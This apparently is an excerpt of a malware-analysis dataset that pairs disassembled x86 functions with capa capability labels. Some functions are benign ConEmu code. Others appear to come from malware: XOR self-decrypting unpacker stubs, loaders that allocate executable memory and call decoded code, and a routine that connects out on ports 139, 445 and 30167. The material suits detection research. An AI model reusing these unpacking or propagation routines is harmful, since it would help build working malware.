joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a23c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.00403dcc
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40a2a5
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00404190
jne 0x40a274
lea eax, [ebx + 0x10]
call fcn.00403dcc
jmp 0x40a2ad
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00404190
jne 0x40a290
lea eax, [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00403e20
cmp dword [ebx + 0x10], 0
jne 0x40a2ad
lea eax, [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00403e20
jmp 0x40a2ad
lea eax, [ebx + 0x10]
call fcn.00403dcc
mov eax, ebx
call fcn.0040a08c
mov eax, dword [0x40b158]
inc dword [eax]
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a307
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a34a
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x75d7
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a38d
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
test edi, edi
je 0x40a3b7
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov edx, 0x40a3f0
call fcn.00404090
mov eax, ebx
call fcn.00409f64
mov ebp, eax
push 0x200
call sub.kernel32.dll_Sleep
jmp 0x40a251

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x79dbd8
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x79dbde
pop ebp
sub ebp, 6
sub ebp, 0x39dbd8
jmp 0x79dc3c
jmp 0x79dc45
mov eax, 0x39dbd8
add eax, ebp
add eax, 0x93
mov ecx, 0x63c
mov edx, 0x4ff5d0a9
xor byte [eax], dl
inc eax
dec ecx
jne 0x79dc5c
jmp 0x79dc6f
ret
Function at 0x408ec0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x408ecf
pop dword [ebp - 8]
mov eax, 0xc2d7474a
sub eax, 0xc296b87b
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x8c3b2999
add dword [ebp - 0x18], 0xc2171bb2
mov dword [ebp - 0x14], 0xba10bff9
sub dword [ebp - 0x14], 0x87dd73b4
mov dword [ebp - 0x10], 0xbbd25d7f
add dword [ebp - 0x10], 0x9079e6af
mov dword [ebp - 0xc], 0x69198c1e
add dword [ebp - 0xc], 0x96e673e2
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x62f8d4c5
add dword [ebp - 0x18], 0x11799491
mov dword [ebp - 0x14], 0xc1ea83b4
add dword [ebp - 0x14], 0x7f81ddc1
mov dword [ebp - 0x10], 0xe92a7eb8
add dword [ebp - 0x10], 0x7a44edb4
mov dword [ebp - 0xc], 0xc8c87f6e
sub dword [ebp - 0xc], 0xc8c87f6e
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3dcd3
push 0
call eax
mov ecx, 0x5248
xor esi, esi
add esi, eax
mov edi, 0x977501c0
add edi, 0x68ccae40
add edi, dword [ebp - 8]
mov edx, 0x2d0e7cae
sub edx, 0x66849414
mov dword [ebp - 4], 0x995e073f
mov ebx, dword [edi]
sub dword [ebp - 4], 0x3bfb9076
add ebx, edx
xor dword [ebp - 4], 0x735a854c
mov dword [esi], ebx
add dword [ebp - 4], edx
add esi, 0x83fee873
sub esi, 0x83fee86f
add edi, 4
loop 0x408fe3
add eax, 0x4206a83c
sub eax, 0x42056c49
xor ebx, ebx
add ebx, eax
add eax, 0x4d3cd729
add eax, 0xb2c328dc
mov ecx, 0xe48fea96
add ecx, 0x1bb0156a
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x410100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41011c
mov dword [eax], ecx
jmp 0x41011e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410190
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x8de304
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de30a
pop ebp
sub ebp, 6
sub ebp, 0x4de304
jmp 0x8de368
jmp 0x8de371
mov eax, 0x4de304
add eax, ebp
add eax, 0x93
mov ecx, 0x62e
mov edx, 0x57bc4cc8
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de388
jmp 0x8de39b
mov byte [0xd8c8a088], al
enter 0xffffffffffffa0c8, 0xffffffffffffffc8
add al, 0xe4
enter 0x3849, 0xffffffffffffff86
xchg ebp, eax
mov edx, 0x86384954
xchg ebp, eax
mov edx, 0x9808fb54
aaa
pop ebp
hlt
Function at 0x401007
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x4305c8]
and dword [ebp - 8], 0
mov dword [ebp - 0x28], eax
mov eax, dword [0x4305cc]
push esi
mov esi, dword [ebx + 4]
push edi
mov edi, dword [ebx]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x30], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x4305d0]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x20], eax
mov eax, dword [0x4305d4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x43f914], 0xc
mov dword [ebp - 4], eax
jne 0x401081
xor eax, eax
push eax
lea ecx, [ebp - 0x34]
push ecx
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x43f914]
cmp eax, 0xfa9
jne 0x40109d
mov dword [0x43f910], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010bf
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x43f864], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
and dword [ebp - 0x14], 0
mov edx, edi
add eax, edi
shr edx, cl
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [0x43f90c], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor eax, edx
sub esi, eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov edx, esi
shr edx, cl
add eax, esi
mov dword [ebp - 0x18], eax
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor dword [ebp - 4], edx
sub edi, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
sub dword [ebp - 8], eax
dec dword [ebp - 0x1c]
jne 0x401055
mov dword [ebx], edi
pop edi
mov dword [ebx + 4], esi
pop esi
leave
ret
Function at 0x407e17
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x407e86
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x407e62
push ebx
push edi
push eax
call fcn.0040ba60
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x407e7d
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret

Function at 0x4091d1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4091e0
pop dword [ebp - 0x3c]
mov eax, 0xdfc766a8
add eax, 0x20792b38
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x3bdde
push 0
mov eax, 0x763609d2
add eax, 0x8a0bd85a
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0xe3ab9388
add ecx, 0x1c54ad5e
mov edx, eax
mov edi, 0xd454204d
sub edi, 0xd4106e4d
add edi, dword [ebp - 0x3c]
mov esi, 0xaaed573
add esi, 0xa7841113
xor dword [ebp - 0x18], edi
mov ebx, dword [edi]
add dword [ebp - 0x30], 0xe6521c5f
sub ebx, esi
mov dword [ebp - 0x18], 0xf2ec7898
mov dword [edx], ebx
mov dword [ebp - 0x34], 0x56ca1083
add edx, 4
add edi, 0x5f170552
add edi, 0xa0e8fab2
loop 0x40923f
add eax, 0x155c2773
add eax, 0xeaa4cef8
xor ebx, ebx
add ebx, eax
add eax, 0xe2e87888
add eax, 0x1d17877d
mov ecx, 0xc255a5e5
sub ecx, 0xc215a5e5
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4011a3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
xor esi, esi
mov dword [ebp - 0x15c], eax
mov edi, esi
call fcn.004e3a40
test al, al
je 0x401386
lea eax, [ebp - 0x148]
mov dword [ebp - 0x148], esi
push eax
push 0x20019
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401386
push ebx
mov ebx, 0x100
mov dword [ebp - 0x158], esi
push ebx
lea eax, [ebp - 0x144]
mov dword [ebp - 0x154], esi
push esi
push eax
mov dword [ebp - 0x150], esi
call fcn.004f5a90
add esp, 0xc
mov dword [ebp - 0x14c], 4
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x154]
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0x521a5c
push dword [ebp - 0x148]
call esi
mov dword [ebp - 0x160], eax
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x144]
mov dword [ebp - 0x14c], ebx
push eax
lea eax, [ebp - 0x150]
push eax
push edi
push str.ReleaseId
push dword [ebp - 0x148]
call esi
mov ebx, eax
xor edx, edx
mov eax, dword [ebp - 0x15c]
add eax, 0x14
cmp word [eax], dx
je 0x4012b5
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push eax
push str.__SP:
call fcn.004e23a5
add esp, 0x24
mov esi, eax
xor edx, edx
jmp 0x4012b7
mov esi, edx
mov ecx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x158]
test ecx, ecx
jne 0x401307
cmp dword [ebp - 0x154], 4
jne 0x401307
test eax, eax
je 0x401307
test ebx, ebx
jne 0x401334
cmp dword [ebp - 0x150], 1
jne 0x401334
cmp word [ebp - 0x144], di
je 0x401334
push edx
push edx
push edx
push edx
push edx
push esi
push 0xa
lea ecx, [ebp - 0x44]
push ecx
push eax
call fcn.0040114c
add esp, 0xc
push eax
push str.__UBR:
jmp 0x401357
test ebx, ebx
jne 0x401327
cmp dword [ebp - 0x150], 1
jne 0x401327
cmp word [ebp - 0x144], di
je 0x401327
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push esi
jmp 0x401357
test ecx, ecx
jne 0x401368
cmp dword [ebp - 0x154], 4
jne 0x401368
test eax, eax
je 0x401368
push edx
push edx
push edx
push edx
push esi
push 0x521a98
push 0xa
lea ecx, [ebp - 0x44]
push ecx
push eax
call fcn.0040114c
add esp, 0xc
push eax
push 0x521a9c
lea eax, [ebp - 0x144]
push eax
call fcn.004e23a5
add esp, 0x24
mov edi, eax
pop ebx
test esi, esi
je 0x401374
push esi
call fcn.004e1bea
pop ecx
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x40139a
xor esi, esi
mov eax, dword [ebp - 0x15c]
add eax, 0x14
push esi
push eax
call fcn.004e230a
pop ecx
pop ecx
mov edi, eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.004f4166
leave
ret
Function at 0x40158b
Capabilities:
Create process on windows

Disassembly:
push 1
push 0xffffffffffffffff
push 0
push 0x44
push str.You_can_show_your_appreciation_and_support_future_development_by_donating._n_nOpen_ConEmus_donate_web_page_
call fcn.00421ef1
add esp, 0x14
cmp eax, 6
je 0x4015aa
ret
push esi
push 1
xor esi, esi
push esi
push esi
push str.https:__conemu.github.io_donate.html
push str.open
push dword [0x5a22a4]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x4015dd
push esi
push esi
push esi
push eax
push str.ShellExecute_failed
call fcn.00420ad9
add esp, 0x14
pop esi
ret

Function at 0x4015df
Capabilities:
Create process on windows

Disassembly:
push esi
push 1
xor esi, esi
push esi
push esi
push dword [0x581074]
push str.open
push dword [0x5a22a4]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x401613
push esi
push esi
push esi
push eax
push str.ShellExecute_failed
call fcn.00420ad9
add esp, 0x14
pop esi
ret

Function at 0x401615
Capabilities:
Create process on windows

Disassembly:
push esi
push 1
xor esi, esi
push esi
push esi
push dword [0x581078]
push str.open
push dword [0x5a22a4]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x401649
push esi
push esi
push esi
push eax
push str.ShellExecute_failed
call fcn.00420ad9
add esp, 0x14
pop esi
ret

Function at 0x4016d5
Capabilities:
Create process on windows

Disassembly:
push esi
push 1
xor esi, esi
push esi
push esi
push dword [0x581070]
push str.open
push dword [0x5a22a4]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x401709
push esi
push esi
push esi
push eax
push str.ShellExecute_failed
call fcn.00420ad9
add esp, 0x14
pop esi
ret

Function at 0x40170b
Capabilities:
Create process on windows

Disassembly:
push 0x60
mov eax, 0x50c923
call fcn.004f41e2
mov ecx, dword [ebp + 8]
xor esi, esi
push esi
push esi
push esi
push esi
push esi
push esi
test ecx, ecx
mov eax, str.TableOfContents
push str..html
cmovne eax, ecx
lea ecx, [ebp - 0x6c]
push eax
push str.https:__conemu.github.io_en_
call fcn.004e2531
push 1
push esi
push esi
lea ecx, [ebp - 0x6c]
mov dword [ebp - 4], esi
call fcn.0044612f
push eax
push str.open
push dword [0x5a22a4]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x401776
push esi
push esi
push esi
push eax
push str.ShellExecute_failed
call fcn.00420ad9
add esp, 0x14
lea ecx, [ebp - 0x6c]
call fcn.004e25e0
call fcn.004f418c
ret

Function at 0x401784
Capabilities:
Create process on windows

Disassembly:
push esi
push 1
xor esi, esi
push esi
push esi
push dword [0x58107c]
push str.open
push dword [0x5a22a4]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x4017b8
push esi
push esi
push esi
push eax
push str.ShellExecute_failed
call fcn.00420ad9
add esp, 0x14
pop esi
ret
Function at 0x4017ba
Capabilities:
Check for time delay via gettickcount
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x584db8], 0
je 0x4017d9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x584db8]
cmp eax, 0xea60
jb 0x401840
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
test esi, esi
je 0x4017ec
xor eax, eax
cmp word [esi], bx
cmove esi, eax
push 1
push ebx
push ebx
push dword [0x581080]
push str.open
push dword [0x5a22a4]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x40181c
push ebx
push ebx
push ebx
push eax
push str.ShellExecute_failed
call fcn.00420ad9
jmp 0x401830
test esi, esi
je 0x401833
push 1
push 0xffffffffffffffff
push ebx
push 0x1030
push esi
call fcn.00421ef1
add esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetTickCount]
pop esi
mov dword [0x584db8], eax
pop ebx
pop ebp
ret

Function at 0x4018d4
Capabilities:
Create process on windows

Disassembly:
push 0x60
mov eax, 0x50c923
call fcn.004f41e2
xor edi, edi
mov ebx, str.open
cmp byte [ebp + 8], 0
je 0x401959
mov eax, dword [0x5a22a0]
lea ecx, [ebp - 0x6c]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push str.WhatsNew_ConEmu.txt
add eax, 0xea4
push eax
call fcn.004e2531
push edi
lea ecx, [ebp - 0x6c]
mov dword [ebp - 4], edi
call fcn.0044612f
push eax
call fcn.004e2e74
pop ecx
pop ecx
test al, al
je 0x40194d
push 1
push edi
push edi
lea ecx, [ebp - 0x6c]
call fcn.0044612f
push eax
push ebx
push dword [0x5a22a4]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jl 0x40194d
lea ecx, [ebp - 0x6c]
call fcn.004e25e0
jmp 0x401986
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c]
call fcn.004e25e0
push 1
push edi
push edi
push dword [0x581084]
push ebx
push dword [0x5a22a4]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jge 0x401986
push edi
push edi
push edi
push eax
push str.File_WhatsNew_ConEmu.txt_not_found__go_to_web_page_failed
call fcn.00420ad9
add esp, 0x14
call fcn.004f418c
ret
Function at 0x40567f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
push edi
xor edi, edi
cmp dword [esi + 0x800], edi
je 0x40569a
mov al, 1
jmp 0x40588a
push 9
push str.SoftwareMicrosoftWindows_NTCurrentVersionPerflib_03X
push esi
mov dword [esi + 0x808], edi
call fcn.00403c16
add esp, 0xc
mov dword [ebp - 8], edi
lea eax, [ebp - 8]
push eax
push 0x20019
push edi
push esi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4056d4
xor al, al
jmp 0x40588a
xor eax, eax
mov dword [ebp - 0xc], edi
mov word [esi], ax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 4], edi
push eax
push edi
push str.Counters
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4057bd
mov eax, dword [ebp - 4]
test eax, eax
je 0x4057bd
add eax, eax
push ebx
push eax
call fcn.004e1c0a
mov ebx, eax
mov dword [ebp - 0x14], ebx
pop ecx
test ebx, ebx
je 0x4057bc
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push edi
push str.Counters
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4057b5
mov eax, dword [ebp - 4]
mov edi, ebx
add eax, ebx
mov dword [ebp - 0x10], eax
cmp ebx, eax
jae 0x4057b3
xor ebx, ebx
cmp word [edi], bx
je 0x4057b0
push str.Process
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x405779
push edi
call fcn.004063f0
push eax
push 0x522da4
push esi
call fcn.00403c16
add esp, 0x10
jmp 0x40579e
cmp dword [esi + 0x808], ebx
jne 0x40579e
push str.ID_Process
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40579e
push edi
call fcn.004063f0
pop ecx
mov dword [esi + 0x808], eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [edi + eax*2]
add edi, 2
cmp edi, dword [ebp - 0x10]
jb 0x40574d
mov ebx, dword [ebp - 0x14]
xor edi, edi
push ebx
call fcn.004e1bea
pop ecx
pop ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp word [esi], di
je 0x405881
cmp dword [esi + 0x800], edi
jne 0x4057ef
mov eax, 0x7d000
push eax
mov dword [esi + 0x804], eax
call fcn.004e1c0a
pop ecx
mov dword [esi + 0x800], eax
mov eax, dword [esi + 0x804]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push dword [esi + 0x800]
lea eax, [ebp - 0xc]
push eax
push edi
push esi
push CreateMappedBitmap
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 0xa7
je 0x4057f8
test eax, eax
jne 0x405835
mov ecx, dword [esi + 0x800]
cmp dword [ecx], 0x450050
jne 0x405835
cmp dword [ecx + 4], 0x460052
je 0x405881
cmp eax, 0xea
jne 0x405863
mov eax, dword [ebp - 4]
add eax, 0x3e800
push eax
mov dword [ebp - 4], eax
call fcn.004e1c0a
pop ecx
test eax, eax
je 0x40586a
mov dword [esi + 0x800], eax
mov eax, dword [ebp - 4]
mov dword [esi + 0x804], eax
jmp 0x4057ef
cmp eax, 0x100000
jge 0x4057ef
push dword [esi + 0x800]
call fcn.004e1bea
pop ecx
mov dword [esi + 0x800], edi
jmp 0x4056cd
cmp dword [esi + 0x800], edi
setne al
pop edi
pop esi
leave
ret
Function at 0x40701d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x5a23ec]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
cmp byte [eax + 0xca2], bl
je 0x4070dc
push edi
lea edi, [esi + 8]
cmp word [edi], bx
je 0x4070db
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 0x218]
cmp eax, 0x1388
jbe 0x4070db
push 0x523504
push edi
call fcn.004fd1eb
pop ecx
pop ecx
test eax, eax
je 0x4070db
push 0x250
lea eax, [ebp - 0x254]
push ebx
push eax
call fcn.004f5a90
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4070db
mov eax, dword [ebp - 0x23c]
cmp eax, dword [esi + 0x214]
jne 0x4070be
mov eax, dword [ebp - 0x240]
cmp eax, dword [esi + 0x210]
je 0x4070d4
push ebx
mov ecx, esi
call fcn.00406eb8
mov bl, al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x218], eax
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.004f4166
leave
ret
Function at 0x40b595
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ebx
xor bl, bl
cmp dword [ebp + 8], 0
je 0x40b5b2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x40b5c3
inc bl
jmp 0x40b5c9
add ecx, 0xc9a
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x40b5c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov al, bl
pop ebx
pop ebp
ret 4

Function at 0x40b5d0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
mov ebx, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
xor edi, edi
push eax
mov dword [ebp - 0x204], edi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
push edi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x50
mov dword [ebp - 0x1fc], eax
lea eax, [ebp - 0x1f8]
push edi
push eax
call fcn.004f5a90
add esp, 0xc
lea eax, [ebp - 0x1f8]
push eax
push 0x14
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
mov esi, eax
lea eax, [ebp - 0x204]
push 0x10
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004fe324
push esi
push dword [ebp - 0x1fc]
mov dword [ebp - 0x200], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1a8]
push 0x528660
push eax
call fcn.00409bc5
add esp, 0x20
lea eax, [ebp - 0x1f8]
mov ecx, ebx
push esi
push eax
push 0xc8
lea eax, [ebp - 0x1a8]
push eax
call fcn.0040b25c
mov edx, dword [ebp - 0x200]
or esi, 0xffffffff
test edx, edx
je 0x40b739
mov ecx, edi
lea eax, [ecx + 0x70f]
imul eax, eax, 0xc
cmp dword [eax + ebx], edi
jne 0x40b6b4
cmp esi, 0xffffffff
mov eax, ecx
cmovne eax, esi
mov esi, eax
jmp 0x40b6c0
imul eax, ecx, 0xc
cmp dword [eax + ebx + 0x54b8], edx
je 0x40b6c8
inc ecx
cmp ecx, 0x14
jl 0x40b69a
jmp 0x40b6cb
push 0xfffffffffffffffe
pop esi
test esi, esi
js 0x40b734
mov al, byte [ebp - 0x1fc]
xor al, dl
je 0x40b723
push 0x5286a8
push 0xc8
lea eax, [ebp - 0x1a8]
push eax
call fcn.004019cd
lea eax, [ebp - 0x1a8]
push 0xa
push eax
call fcn.004f5617
pop ecx
pop ecx
test eax, eax
je 0x40b70b
push 0x20
pop ecx
mov word [eax], cx
jmp 0x40b6f5
push 1
push 1
lea eax, [ebp - 0x1a8]
mov ecx, ebx
push eax
call fcn.00410feb
mov edx, dword [ebp - 0x200]
push dword [ebp - 0x1fc]
mov ecx, ebx
push edx
push esi
call fcn.0041be15
jmp 0x40b769
cmp esi, 0xffffffff
jne 0x40b769
push 0x528724
push 0xc8
lea eax, [ebp - 0x1a8]
push eax
call fcn.004019cd
push edi
push 0x24f9
lea eax, [ebp - 0x1a8]
push 0x527ea8
push eax
call fcn.0041f6df
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004f4166
leave
ret